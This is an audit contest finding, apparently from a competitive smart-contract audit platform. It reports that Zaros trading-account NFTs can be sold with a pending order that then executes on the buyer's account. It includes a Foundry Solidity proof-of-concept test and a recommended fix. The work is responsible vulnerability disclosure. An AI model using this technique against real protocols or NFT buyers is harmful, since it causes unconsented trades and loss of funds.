Submission Details
Severity:
HoneyPot: Attacker can place a malicious order on an account and transfer it to their victim
Summary
An attacker can grief a victim by transferring an account with a malicious order queued up.
Vulnerability Details
The AccountNFT is designed to support the transfer of accounts between users. This makes for a good user experience as the market becomes more flexible e.g. trading account on public markets becomes a possibility. However, such flexibility often have unforseen negative effects, and such is the case for Zaros' AccountNFT.
An attacker can grief an unknowing victim into buying an attractive trading account (NFT), and place a malicious market order, the last minutes before sending it to the buyer. The order could be a limit order that executes when a particular price range is hit. This could be strategically time to execute when the new NFT owner is in possession of the trading account. The practicality and ease of this attack is related to the gap between order creation and order execution, and its maximized by the support of limit orders by Zaros.
Proof of Code
The PoC below shows that an order can be placed by the old owner and filled when the new owner is in possession of the account.
How to run the PoC
Create a new test file named
SubmissionPoC.t.solintest/folder of the contest repoCopy the code below and paste in the file.
Run the commands above the test functions in your CLI to run the test.
```
// SPDX-License-Identifier: UNLICENSED
// Zaros dependencies
import { Base_Test } from "test/Base.t.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { ERC20, IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import {console2} from "forge-std/console2.sol";
import { MockERC20 } from "test/mocks/MockERC20.sol";
import { MockPriceFeed } from "test/mocks/MockPriceFeed.sol";
import { Users, User, MockPriceAdapters } from "test/utils/Types.sol";
import { UpgradeBranch } from "@zaros/tree-proxy/branches/UpgradeBranch.sol";
import { LookupBranch } from "@zaros/tree-proxy/branches/LookupBranch.sol";
import { GlobalConfigurationBranch } from "@zaros/perpetuals/branches/GlobalConfigurationBranch.sol";
import { LiquidationBranch } from "@zaros/perpetuals/branches/LiquidationBranch.sol";
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
import { PerpMarketBranch } from "@zaros/perpetuals/branches/PerpMarketBranch.sol";
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";
import { MarginCollateralConfiguration } from "@zaros/perpetuals/leaves/MarginCollateralConfiguration.sol";
import { Position } from "@zaros/perpetuals/leaves/Position.sol";
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";
import { TradingAccountBranchTestnet } from "testnet/branches/TradingAccountBranchTestnet.sol";
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";
import { MarginCollateralConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarginCollateralConfigurationHarness.sol";
import { MarketConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarketConfigurationHarness.sol";
import { MarketOrderHarness } from "test/harnesses/perpetuals/leaves/MarketOrderHarness.sol";
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";
import { SettlementConfigurationHarness } from "test/harnesses/perpetuals/leaves/SettlementConfigurationHarness.sol";
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";
import {LiquidationKeeper} from "@zaros/external/chainlink/keepers/liquidation/LiquidationKeeper.sol";
import {MarketOrderKeeper} from "@zaros/external/chainlink/keepers/market-order/MarketOrderKeeper.sol";
// PRB Math dependencies
import { UD60x18, ud60x18, ZERO as UD60x18_ZERO, convert as ud60x18Convert } from "@prb-math/UD60x18.sol";
import {SD59x18,sd59x18, unary, UNIT as SD_UNIT, ZERO as SD59x18_ZERO, convert as sd59x18Convert} from "@prb-math/SD59x18.sol";
contract BugPoC is Base_Test {
///////////// SETUP //////////////
address[] internal USERS;
MockERC20[] internal EXTERNAL_TOKENS;
address internal BOB;
address internal ALICE;
address internal defaultUser; // defaultUser
address USDC;
address wBTC;
address weETH;
uint256 internal constant INITIAL_USDC_BALANCE = 1_000_000;
uint256 internal constant INITIAL_WEETH_BALANCE = 100_000;
uint256 internal constant INITIAL_WBTC_BALANCE = 10_000;
MockPriceFeed btcPriceFeed;
MockPriceFeed ethPriceFeed;
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
EXTERNAL_TOKENS = new MockERC20[](3);
EXTERNAL_TOKENS[0] = usdc;
EXTERNAL_TOKENS[1] = weEth;
EXTERNAL_TOKENS[2] = wBtc;
USDC = address(usdc);
wBTC = address(wBtc);
weETH = address(weEth);
btcPriceFeed = MockPriceFeed(marketsConfig[1].priceAdapter);
ethPriceFeed = MockPriceFeed(marketsConfig[2].priceAdapter);
BOB = users.naruto.account;
ALICE = users.sasuke.account;
USERS = new address[](2);
USERS[0] = BOB;
USERS[1] = ALICE;
_topUpUsers();
vm.stopPrank();
}
function _topUpUsers() internal {
address user;
for (uint8 i = 0; i < USERS.length; i++) {
user = USERS[i];
EXTERNAL_TOKENS[0].mint(user, INITIAL_USDC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[1].mint(user, INITIAL_WEETH_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[2].mint(user, INITIAL_WBTC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
}
}
function clampBetween(
uint256 value,
uint256 low,
uint256 high
) internal pure returns (uint256) {
if (value < low || value > high) {
uint ans = low + (value % (high - low + 1));
return ans;
}
return value;
}
modifier updateMockPriceFeedBtcEth(uint256 _btcNewPrice, uint256 _ethNewPrice) {
uint256 btcNewPrice = clampBetween(_btcNewPrice, 10_000e18, 100_000e18);
uint256 ethNewPrice = clampBetween(_ethNewPrice, 500e18, 10_000e18);
updateMockPriceFeed(1, btcNewPrice);
updateMockPriceFeed(2, ethNewPrice);
_;
}
function getPriceUint(MockPriceFeed priceFeed) internal view returns (uint256) {
(, int256 answer,,,) = priceFeed.latestRoundData();
return uint256(answer);
}
function _performLiquidation(uint128 nextAccountId) internal {
LiquidationKeeper liquidationKeeper_ = LiquidationKeeper(liquidationKeeper);
uint256 checkLowerBound = 0;
uint256 checkUpperBound = uint256(nextAccountId);
uint256 performLowerBound = 0;
uint256 performUpperBound = checkUpperBound + 1;
if (checkUpperBound < 1) return;
bytes memory data = abi.encode(checkLowerBound, checkUpperBound, performLowerBound, performUpperBound);
(bool upkeepNeeded, bytes memory performData) = liquidationKeeper_.checkUpkeep(data);
vm.startPrank(users.owner.account);
liquidationKeeper_.setForwarder(users.keepersForwarder.account);
if (upkeepNeeded) {
vm.startPrank(users.keepersForwarder.account);
liquidationKeeper_.performUpkeep(performData);
vm.stopPrank();
}
}
struct TestHelper {
uint256 oldBtcPrice;
uint256 oldEthPrice;
uint256 btcNewPrice;
uint256 ethNewPrice;
uint256 price;
bytes32 streamId;
uint256 priceBtcChange;
uint256 priceEthChange;
OrderBranch.CreateMarketOrderParams params;
}
function _performOrderExecution(uint256 marketId, uint128 tradingAccountId, bool isIncrease) internal {
TestHelper memory helper;
helper.oldBtcPrice = getPriceUint(btcPriceFeed);
helper.oldEthPrice = getPriceUint(ethPriceFeed);
helper.btcNewPrice;
helper.ethNewPrice;
helper.price;
helper.streamId = marketsConfig[marketId].streamId;
helper.priceBtcChange = helper.oldBtcPrice % 100e18;
helper.priceEthChange = helper.oldEthPrice % 10e18;
if(isIncrease) {
helper.btcNewPrice = helper.oldBtcPrice + helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice + helper.priceEthChange;
} else {
helper.btcNewPrice = helper.oldBtcPrice - helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice - helper.priceEthChange;
}
btcPriceFeed.updateMockPrice(helper.btcNewPrice);
ethPriceFeed.updateMockPrice(helper.ethNewPrice);
address marketOrderKeeper_ = marketOrderKeepers[marketId];
MarketOrderKeeper marketOrderKeeper = MarketOrderKeeper(marketOrderKeeper_);
if (marketId == 1) {
helper.price = getPriceUint(btcPriceFeed);
} else {
helper.price = getPriceUint(ethPriceFeed);
}
bytes memory mockSignedReport = getMockedSignedReport(helper.streamId, helper.price);
vm.startPrank(users.owner.account);
marketOrderKeeper.setForwarder(users.keepersForwarder.account);
vm.stopPrank();
bytes memory performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
vm.startPrank(users.keepersForwarder.account);
marketOrderKeeper.performUpkeep(performData);
vm.stopPrank();
}
function tradingAccountBranch_createTradingAccount(
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) returns(uint128 _tradingAccountId){
return perpsEngine.createTradingAccount(bytes(""), false) ;
}
/// depositMargin
function tradingAccountBranch_depositMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.depositMargin(_tradingAccountId, collateralType, _amount);
}
/// withdrawMargin
function tradingAccountBranch_withdrawMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.withdrawMargin(_tradingAccountId, collateralType, _amount);
}
/// createMarketOrder
function orderBranch_createMarketOrder(
uint128 _tradingAccountId,
bool _buyBtc,
int128 sizeDelta,
bool isIncrease,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
TestHelper memory helper;
helper.params.tradingAccountId = _tradingAccountId;
helper.params.marketId = _buyBtc ? 1 : 2;
helper.params.sizeDelta = sizeDelta;
perpsEngine.createMarketOrder(helper.params);
// _performOrderExecution(helper.params.marketId, helper.params.tradingAccountId, isIncrease);
}
///////////// TEST //////////////
////////////////// Test Skew and OI Update ////////////////
// forge test --match-test "testHoneyPot"
function testHoneyPot() public {
vm.warp(1 hours);
vm.startPrank(BOB);
// BOB creates a trading account
tradingAccountBranch_createTradingAccount(30_000e18, 2_000e18);
vm.startPrank(BOB);
// BOB deposit 10000e6 USDC
tradingAccountBranch_depositMargin(1, USDC, 10000e6, 100_000e18, 10_000e18);
vm.startPrank(BOB);
// BOB creates market order of 1e18 BTC @ 100_000e18 USDC : 10x leverage
// the orderBranch_createMarketOrder handles the order execution
orderBranch_createMarketOrder(1, true, 1e18, true, 100_000e18, 10_000e18);
// BOB then sends the trading account to ALICE before it is executed by the market order keeper
vm.startPrank(BOB);
tradingAccountToken.transferFrom(BOB, ALICE, 1);
// Order is then executed by the keeper.
_performOrderExecution(1, 1, true);
uint256 activeMarketId_1 = perpsEngine.workaround_getActiveMarketsIdsLength(1); // should be 1
console2.log("account owner: ", tradingAccountToken.ownerOf(1)); // log owner address to compare with ALICE
console2.log("ALICE address: ", ALICE); // same as owner
console2.log("activeMarketIdLength 1: ", activeMarketId_1); // this is 1
// Alice now has an open trade on her account that she didn't consent to and is likely unawares of its existence
// log:
// account owner: 0xa6E6dCb0884C1300154C8F9eFB324C1f844629C2
// ALICE address: 0xa6E6dCb0884C1300154C8F9eFB324C1f844629C2
// activeMarketIdLength 1: 1
}
}
Impact
Loss of funds for the victim.
Tools Used
Manual
Recommendations
You can either prevent traders from transferring their accounts when the have a queued order, or cancel every queued order associate to an account that is being transferred.
Updates
Appeal created
krisrenzo
about 1 year ago
krisrenzo
about 1 year ago
inallhonesty
about 1 year ago
inallhonesty 12 months ago
Submission Judgement Published Assigned finding tags:
When a user creates an order and then transfers the account NFT, pending orders should clear
Prize pool breakdown
Total prize
60,000 USDC
nSLOC
2,87821 USDC / LOC
50,000 USDC
5,500 USDC
4,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.